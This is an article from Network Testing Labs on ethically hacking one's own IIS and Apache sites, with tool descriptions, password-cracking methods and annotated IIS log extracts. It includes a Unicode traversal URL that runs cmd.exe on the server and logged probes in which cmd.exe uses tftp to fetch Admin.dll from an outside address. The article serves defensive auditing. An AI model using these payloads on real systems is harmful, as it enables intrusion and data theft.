Home


About Network Testing Labs

Contact Network Testing Labs

Independent Reviews of Network Hardware and Software

 

   

Advice for security doctors: Hack thyself

 

 

Ethical hacking of your own Web sites can reveal problems and vulnerabilities before the bad guys find them.
By Barry Nance


The rats begin nibbling on your Web site almost immediately, typically within a day of your registering its name. Even before you register, just allowing HTTP traffic through your firewall will bring the rats running. A quick glance at your site’s activity log file (you do have logging turned on, don’t you?) will show the nibblings, probings, intrusions and break-ins.

A good intrusion detection system is an excellent idea, but it’s not enough. Creative Web hackers can bypass nearly any obstacle you put in their path. Spending a few moments each week or perhaps even each day to study news of security threats and newly available security patches for your Web server software is another excellent idea. Hacking your own Web sites to verify they’re secure is yet another.

Give yourself a safe environment for your hacking attempts. Making backup copies of server files and configuration data can be a lifesaver for when your hacking attempts succeed beyond your wildest expectations. Naturally, make sure your boss and any other appropriate people know beforehand what you’re doing. In your status reports and memos, however, don’t refer to your activities as hacking. Use the term “auditing” - it’ll sound much better to the people who run the company. Nonetheless, ethical hacking is what you’ll really be doing.
During a project to improve security at a Microsoft Internet Information Server (IIS) 5.0 Web site, we looked at five tools for ethically hacking Web sites. We wanted to learn what the tools can do as well as gain some exposure to Web hacking techniques. The tools were @stake, Inc.’s NetCat, Rain Forest Puppy’s Whisker for Unix and Whisker for Windows, HooBie, Inc.’s Brutus AET2, EliteSys, Inc.’s Entry and Tennyson Maxwell Information Systems’ Teleport Pro.

We scoured the Web and researched books and articles on Web security to develop a plan that called for gaining access to the Web site by bombarding it with badly-formed URLs, cutting through authentication barricades by guessing passwords and copying Web site files once we’d cracked the site’s security. The five tools helped by revealing operating system and other files on the Web server, defeating password protections and even obtaining (simulated) credit card files.


  • NetCat is a script-driven utility that connects to Web sites, sends HTML requests you specify and shows the Web sites’ responses.
  • Whisker is a robust Web site checking tool that obtains Web site contents, runs programs on the Web server and cracks Web site passwords.
  • Brutus and Entry are superlative, fast password crackers.
  • Teleport Pro is a Web spider that discovers and copies every file on a Web server.

Some really bad characters
Our research, in combination with NetCat’s documentation, suggested that gaining Web site access is most easily done via badly-formed URLs that cause the Web server software to behave in ways its designers and programmers never intended. Figures 1 through 4 (below) are IIS activity log files that illustrate our use of odd-looking URLs in a series of increasingly complex hacking attempts. Note that by the time we produced Figure 4, we had installed Microsoft’s UrlScan and a wide range of other security measures to prevent unauthorized access to the Web server files.

As we researched Web security, we learned that a common feature of most hacking attempts is a bizarre-looking URL. To our surprise, we also learned that firewalls and Intrusion Detection Systems aren’t even speed bumps for Web hackers. A hacker can often bypass an Intrusion Detection System that relies on packet decoding and signature analysis by simply using Secure Sockets Layer (SSL) to encrypt their nefarious HTTP messages. Only the client and Web server understand the contents of SSL-encoded messages. Hackers sometimes also craft their URLs in ways an Intrusion Detection System doesn’t recognize, but which gain the hacker unauthorized Web server access. A few experiments, in which we used NetCat to send the Web site some ungainly URLs, verified to us that Intrusion Detection Systems aren’t always what they’re cracked up to be.

We discovered how to infer which operating system and Web server software a site is running. In a typical Web server interaction, a client’s browser sends a “GET /Default.htm” request to the Web server, along with some browser identification data (such as “Mozilla/4.0+ compatible; +MSIE+5.5; +Windows +NT +4.0”). The Web server responds with a return code of 200, some identifying information of its own and the contents of the Default.htm Web page. We found that an examination of the Web server’s responses told us volumes about that specific Web server computer. With a little patience and luck, we were easily able to discover Web server computer details that let us access its operating system files, data files, script programs and databases.

On the Microsoft IIS-based server we were securing, running the server’s command shell CMD.EXE was an early goal of our hacking attempts once we’d used NetCat to identify the site’s operating system. Because the CMD.EXE program is in the directory \WINNT\System32 and not within the Web site directory structure represented by \INetPub\wwwroot, we used special characters (illegal Unicode encodings of the “/” character) inside bizarre-looking URLs to gain access to directory structures outside the Web site directory. This Microsoft IIS vulnerability was discovered quite some time ago, in October, 2000, but an amazing number of sites have yet to apply the security patches which fix it. Figures 1 through 4 show variations of special character attempts to access files and programs outside the Web site directory.

A simple example URL containing such special characters is:

192.110.116.32/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\

Unless patched, the Web site responds to this URL with a list of directories and files on the server’s D: drive.

Our research taught us how this hacking technique works. The “/” character’s ASCII code is hexadecimal “2F”. UniCode, or more precisely UTF-8, provides for single-, double- and triple-byte representations of characters. The hexadecimal encodings “C0 AF” and “E0 80 AF” are also the “/” character, in 2 and 3 bytes respectively. However, the UniCode specification says “a UTF-8 decoder must not accept UTF-8 sequences that are longer than necessary to encode a character.” Unfortunately, Microsoft’s IIS programmers failed to impose this rule in the version of IIS on the operating system CD-ROM disks. They corrected the problem, and several others, by releasing IIS and Windows server security patches that customers can easily obtain and apply.

Have you updated your Web server’s security?

In some separate tests, we experimented with Unix and Linux machines running the Apache Web server software. We found that Unix and Linux files are also at risk.

For example, a server might have a Perl CGI script index program as part of the site’s search feature. Sending a “www.site.com/index.cgi?page=index.cgi” GET request to the server revealed to us the source code for the index.cgi program. We could glean quite a bit of information about a site by examining the Perl script that implements its search feature.

Stealing credit cards
We used the UniCode IIS bug and other Windows idiosyncracies to learn which files exist on the server, look at the contents of those files and even make copies of the files. In our next phase of ethical hacking experiments, we established passwords to deter unauthorized server access. We quickly learned that lackadaisically-administered passwords are no obstacle to hackers. Whisker, Brutus and Entry made short work of guessing simple name- or birthday-related passwords we initially created. These tools could also guess correct passwords based on permutations of the simple passwords we started with.

Once we guessed a password for the Windows machine, we were thereafter able to sidestep the IIS, Apache or Netscape software altogether.

Because  file and print sharing were active by default on the Windows Web server, we merely needed to issue the following simple command via CMD.EXE to access files:

NET USE F: \\ServerName\ShareName password

However, after we had disabled file and print sharing, we found we could still use Teleport Pro to copy the server’s files nearly effortlessly to another machine. We only needed to know the password of a logon account with sufficient permissions to access the files. Guessing the password wasn’t terribly difficult when we used a software tool that generates permutations of entries in word lists. The tools are blazingly fast, too. Depending on factors like bandwidth, latency and CPU speed, we found that a password cracking tool can issue up to 30,000 password attempts per minute.

A good password cracking tool is not only fast but flexible. For example, before we ran Brutus to generate permutations of candidate passwords we supplied in a word list file, we told Brutus the nature of the passwords it should try. We could specify that trial passwords should be upper, lower or mixed case letters, just numeric digits, any keypress or characters from a custom set. We could also tell Brutus the minimum and maximum number of characters each trial password should contain.

Before we imposed new, strict password guidelines as part of our IIS security project, we found that the password cracking tools quickly discovered many of the Web server’s existing passwords. In one of our hacking attempts, the combination of Brutus and Teleport Pro easily and painlessly disclosed the contents of a (simulated) credit card file. The file or database could just as well have contained any other private, business-sensitive information that we’d wanted to exploit.

Setting up password challenges can thwart unauthorized Web server access, but only if you make your passwords perfectly unguessable. We suggest you adopt a corporate policy regarding passwords that specifies each user’s password must be at least six (or even eight) characters, contain both letters and numbers, change periodically and not be based on people’s names or birthdays.

Conclusion
The bad guys are experts at browsing your files, e-shoplifting, stealing credit card data and altering your databases. Their primary weapon is a URL so abused and tortured you’d think a Web server wouldn’t even recognize it. Hackers intimately know the weaknesses and vulnerabilities of operating systems, Web server software, database software and e-commerce platforms. They may even be more familiar with your Web site’s structure and files than you are. Be aware that disgruntled employees within your company are likely as great a danger as hackers located in Libya, Iran, Syria or North Korea.

Our project to improve a Web site’s security was certainly illuminating. Hackers can all too easily use malformed URLs and other sleight-of-hand tricks to gain access to servers and files on your network. To fend off these digital breaking and entering attempts, we set up some simple procedures at the client site for all the client’s servers. These procedures included staying abreast of the security patches for the Web server and its operating system, faithfully applying those patches and periodically examing the Web server’s log files for break-in attempts. Further, because ethical hacking can be a valuable reality check for verifying that the right security measures are in effect, we put in place a procedure for ethically hacking the site on a regularly scheduled basis.

We hope you’re now motivated to redouble your efforts to secure your Web sites and stay ahead of the Web hackers.



Microsoft Internet Information Services log file extracts

time

c-ip

s-ip

port

method

uri-stem

uri-query

status

15:06:00

217.230.56.210

192.100.10.84

80

GET

/winnt/system32/cmd.exe

/c+dir+c:\

404

15:06:00

217.230.56.210

192.100.10.84

80

GET

/scripts/.%2e/.%2e/winnt/system32/cmd.exe

/c+dir+c:\

200

15:06:01

217.230.56.210

192.100.10.84

80

GET

/scripts/.%2e/.%2e/winnt/system32/cmd.exe

/c+dir+d:\

502

Figure 1. Simple probes. The second one succeeds, running CMD.EXE to obtain a list of directories on the Web server.

 

time

c-ip

s-ip

port

method

uri-stem

uri-query

status

10:59:51

64.105.84.207

192.100.10.84

80

GET

/scripts/root.exe

/c+dir

404

10:59:54

64.105.84.207

192.100.10.84

80

GET

/MSADC/root.exe

/c+dir

403

10:59:57

64.105.84.207

192.100.10.84

80

GET

/c/winnt/system32/cmd.exe

/c+dir

404

11:00:09

64.105.84.207

192.100.10.84

80

GET

/d/winnt/system32/cmd.exe

/c+dir

404

11:00:12

64.105.84.207

192.100.10.84

80

GET

/scripts/..%5c../winnt/system32/cmd.exe

/c+dir

500

11:00:14

64.105.84.207

192.100.10.84

80

GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+dir

200

Figure 2. More complex probes. Note the use of %5c as a special character in the fifth and sixth events. The sixth one succeeds.

 

ime

c-ip

s-ip

port

method

uri-stem

uri-query

status

10:00:45

64.105.71.39

192.100.10.84

80

GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+dir

200

10:00:46

64.105.71.39

192.100.10.84

80

GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+tftp%20-i%2064.105.71.39%20GET%20Admin.dll%20c:\Admin.dll

502

10:00:48

64.105.71.39

192.100.10.84

80

GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+tftp%20-i%2064.105.71.39%20GET%20Admin.dll%20d:\Admin.dll

502

10:00:50

64.105.71.39

192.100.10.84

80

GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+tftp%20-i%2064.105.71.39%20GET%20Admin.dll%20e:\Admin.dll

502

10:53:33

64.105.128.173

192.100.10.84

80

GET

/scripts/root.exe

/c+dir

403

10:53:33

64.105.128.173

192.100.10.84

80

GET

/MSADC/root.exe

/c+dir

403

10:53:33

64.105.128.173

192.100.10.84

80

GET

/c/winnt/system32/cmd.exe

/c+dir

403

10:53:35

64.105.128.173

192.100.10.84

80

GET

/d/winnt/system32/cmd.exe

/c+dir

403

10:53:35

64.105.128.173

192.100.10.84

80

GET

/scripts/..%5c../winnt/system32/cmd.exe

/c+dir

403

10:53:35

64.105.128.173

192.100.10.84

80

GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+dir

403

10:53:36

64.105.128.173

192.100.10.84

80

GET

/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+dir

403

10:53:36

64.105.128.173

192.100.10.84

80

GET

/msadc/..%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe

/c+dir

403

10:53:36

64.105.128.173

192.100.10.84

80

GET

/scripts/..../winnt/system32/cmd.exe

/c+dir

403

10:53:37

64.105.128.173

192.100.10.84

80

GET

/scripts/winnt/system32/cmd.exe

/c+dir

403

10:53:37

64.105.128.173

192.100.10.84

80

GET

/winnt/system32/cmd.exe

/c+dir

403

10:53:37

64.105.128.173

192.100.10.84

80

GET

/winnt/system32/cmd.exe

/c+dir

403

10:53:38

64.105.128.173

192.100.10.84

80

GET

/scripts/..%5c../winnt/system32/cmd.exe

/c+dir

403

10:53:38

64.105.128.173

192.100.10.84

80

GET

/scripts/..%5c../winnt/system32/cmd.exe

/c+dir

403

10:53:38

64.105.128.173

192.100.10.84

80

GET

/scripts/..%5c../winnt/system32/cmd.exe

/c+dir

403

10:53:39

64.105.128.173

192.100.10.84

80

GET

/scripts/..%2f../winnt/system32/cmd.exe

/c+dir

403

Figure 3. Yet more complex probes. Note the attempts to invoke tftp in the second, third and fourth events, along with the use of %2f as a special character.

 

time

c-ip

s-ip

port

method

uri-stem

uri-query

status

12:33:20

64.105.128.173

192.100.10.84

80

GET

/<Rejected-By-UrlScan>

~/scripts/root.exe

403

12:33:20

64.105.128.173

192.100.10.84

80

GET

/<Rejected-By-UrlScan>

~/MSADC/root.exe

403

12:33:20

64.105.128.173

192.100.10.84

80

GET

/<Rejected-By-UrlScan>

~/c/winnt/system32/cmd.exe

403

12:33:21

64.105.128.173

192.100.10.84

80

GET

/<Rejected-By-UrlScan>

~/d/winnt/system32/cmd.exe

403

12:33:21

64.105.128.173

192.100.10.84

80

GET

/<Rejected-By-UrlScan>

~/scripts/..%255c../winnt/system32/cmd.exe

403

12:33:21

64.105.128.173

192.100.10.84

80

GET

/<Rejected-By-UrlScan>

~/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe

403

12:33:22

64.105.128.173

192.100.10.84

80

GET

/<Rejected-By-UrlScan>

~/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe

403

Figure 4. Probe events after the installation of UrlScan.




Copyright 2012 Network Testing Labs


  
Home

About Network Testing Labs

Contact Network Testing Labs